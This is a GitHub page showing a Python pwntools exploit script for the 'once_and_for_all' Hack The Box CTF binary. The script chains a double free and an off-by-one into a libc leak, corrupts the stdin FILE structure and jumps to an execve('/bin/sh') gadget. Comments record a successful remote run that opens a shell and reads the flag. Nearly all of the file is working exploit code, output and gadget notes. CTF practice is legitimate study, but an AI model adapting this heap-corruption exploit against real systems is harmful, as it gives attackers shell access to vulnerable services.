-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.py
271 lines (210 loc) · 6.88 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfmate
import os
import time
import pwn
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF('once_and_for_all')
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
gdbscript = '''
b* main
source /home/nasm/Downloads/pwndbg/gdbinit.py
continue
'''.format(**locals())
io = start()
def add(idx, size, data, hang=False):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"Choose an index: ", str(idx).encode())
io.sendlineafter(b"How much space do you need for it: ", str(size).encode())
if hang == True:
return
io.sendlineafter(b"Input your weapon's details: \n", data)
def freexalloc(idx, size, data, doubleFree=False):
io.sendlineafter(b">> ", b"2")
io.sendlineafter(b"Choose an index: ", str(idx).encode())
io.sendlineafter(b"How much space do you need for this repair: ", str(size).encode())
if doubleFree:
return
io.sendlineafter(b"Input your weapon's details: \n", data)
io.sendlineafter(b">> ", b"1")
def show(idx):
io.sendlineafter(b">> ", b"3")
io.sendlineafter(b"Choose an index: ", str(idx).encode())
def allochuge(size):
io.sendlineafter(b">> ", b"4")
io.sendlineafter(b"How much space do you need for this massive weapon: ", str(size).encode())
# get libc leak
add(0, 56, b"A"*55)
add(1, 56, b"B"*39)
add(2, 40, b"C"*39) # size
add(4, 56, b"D"*(0x10))
add(5, 40, b"E"*39)
add(10, 40, pwn.p64(0) + pwn.p64(0x21)) # barrier
# freexalloc(5, 560, b"", doubleFree=True)
freexalloc(1, 560, b"", doubleFree=True)
freexalloc(0, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(1, 560, b"", doubleFree=True)
add(6, 56, b"\x00"*56 + b"\xb1") # fake unsorted chunk
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
freexalloc(2, 560, b"", doubleFree=True)
# falls into teh unsortedbin
show(2)
libc = pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebca0
stdin = libc + 0x3eba00
pwn.log.info(f"libc: {hex(libc)}")
add(7, 56, b"A"*55) # pop it to access to chunk_1
add(8, 56, b"A"*56 + b"\x31") # restore valid fastbin chunk part of the 0x30 freelist
# put it back to the fastbin
add(9, 40, pwn.p64(libc + 0x3ebca0) + pwn.p64(stdin + 0x40 - 0x10))
# WAF
# == clean fastbin
freexalloc(5, 560, b"", doubleFree=True)
freexalloc(4, 560, b"", doubleFree=True)
add(11, 56, b"1"*56 + b"\x40")
freexalloc(5, 560, b"", doubleFree=True)
add(12, 56, pwn.p64(0))
freexalloc(4, 560, b"", doubleFree=True)
add(13, 56, b"1"*56 + b"\x30")
# == clean fastbin
add(14, 40, b"1"*10)
# fastbin empty looks into unsortedbin
add(3, 40, b"1337", hang=True)
pwn.log.info(f"unsortedbin attack done on: {hex(stdin + 0x40 - 0x10)}")
pwn.log.info(f"Enjoy your shell!")
io.sendline(b"")
io.recvuntil(b">> ")
io.send(
b"4\n\x00\x00\x00" +
pwn.p64(libc + 0x3ed8d0) +
pwn.p64(0xffffffffffffffff) +
pwn.p64(0) +
pwn.p64(libc + 0x3ebae0) +
pwn.p64(0) * 3 +
pwn.p64(0x00000000ffffffff) +
pwn.p64(0) * 2 +
pwn.p64(libc + 0x3e82a0) +
pwn.p8(0) * 0x150 +
# !!!!!
pwn.p64(libc + 0x10a38c)
#pwn.p64(libc + 0x4f322)
# pwn.p64(0x1337)
)
"""
$2 = 0x3ed8d0
0xffffffffffffffff
0
$3 = 0x3ebae0
0*3
0x00000000ffffffff
0*2
$4 = 0x3e82a0
0*0x140
__malloc_hook
"""
"""
# add(10, 56, b"\x00"*16) # unsortedbin = 0x3ebca0
# classic house of Prime ? or that ? https://maxwelldulin.com/BlogPost?post=3107454976
# allochuge(0x5b0)
root@3b9bf5405b71:/mnt# python3 exploit.py REMOTE HOST=167.172.56.180 PORT=30332
[*] '/mnt/once_and_for_all'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/mnt/out'
[+] Opening connection to 167.172.56.180 on port 30332: Done
0x7f0561a6c000
reach
[*] Switching to interactive mode
How much space do you need for this massive weapon: Adding to your inventory..
$ id
uid=100(ctf) gid=101(ctf)
$ ls
flag.txt
glibc
once_and_for_all
$ cat flag.txt
HTB{m4y_th3_f0rc3_b3_w1th_B0Nn13!}
_IO_FILE
+0x0000 _flags : int
+0x0008 _IO_read_ptr : char *
+0x0010 _IO_read_end : char *
+0x0018 _IO_read_base : char *
+0x0020 _IO_write_base : char *
+0x0028 _IO_write_ptr : char *
+0x0030 _IO_write_end : char *
+0x0038 _IO_buf_base : char *
+0x0040 _IO_buf_end : char *
+0x0048 _IO_save_base : char *
+0x0050 _IO_backup_base : char *
+0x0058 _IO_save_end : char *
+0x0060 _markers : struct _IO_marker *
+0x0068 _chain : struct _IO_FILE *
+0x0070 _fileno : int
+0x0074 _flags2 : int
+0x0078 _old_offset : __off_t
+0x0080 _cur_column : short unsigned int
+0x0082 _vtable_offset : signed char
+0x0083 _shortbuf : char [1]
+0x0088 _lock : _IO_lock_t *
+0x0090 _offset : __off64_t
+0x0098 _codecvt : struct _IO_codecvt *
+0x00a0 _wide_data : struct _IO_wide_data *
+0x00a8 _freeres_list : struct _IO_FILE *
+0x00b0 _freeres_buf : void *
+0x00b8 __pad5 : size_t
+0x00c0 _mode : int
+0x00c4 _unused2 : char [20]
"""
"""
freexalloc(1, 560, b"", doubleFree=True)
freexalloc(1, 560, b"", doubleFree=True)
&__free_hook = $1 = 0x3ed8d5
15 chunks
size <= 31 || size > 56 => calloc, off by one,
free(alloc_array[idx].ptr); => double free
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
fastbin sur 1 => unsortedbin sur 1 et leak libc => 0xdeadb00bs + _IO_list_all => free chunk en 0x60
"""
io.interactive()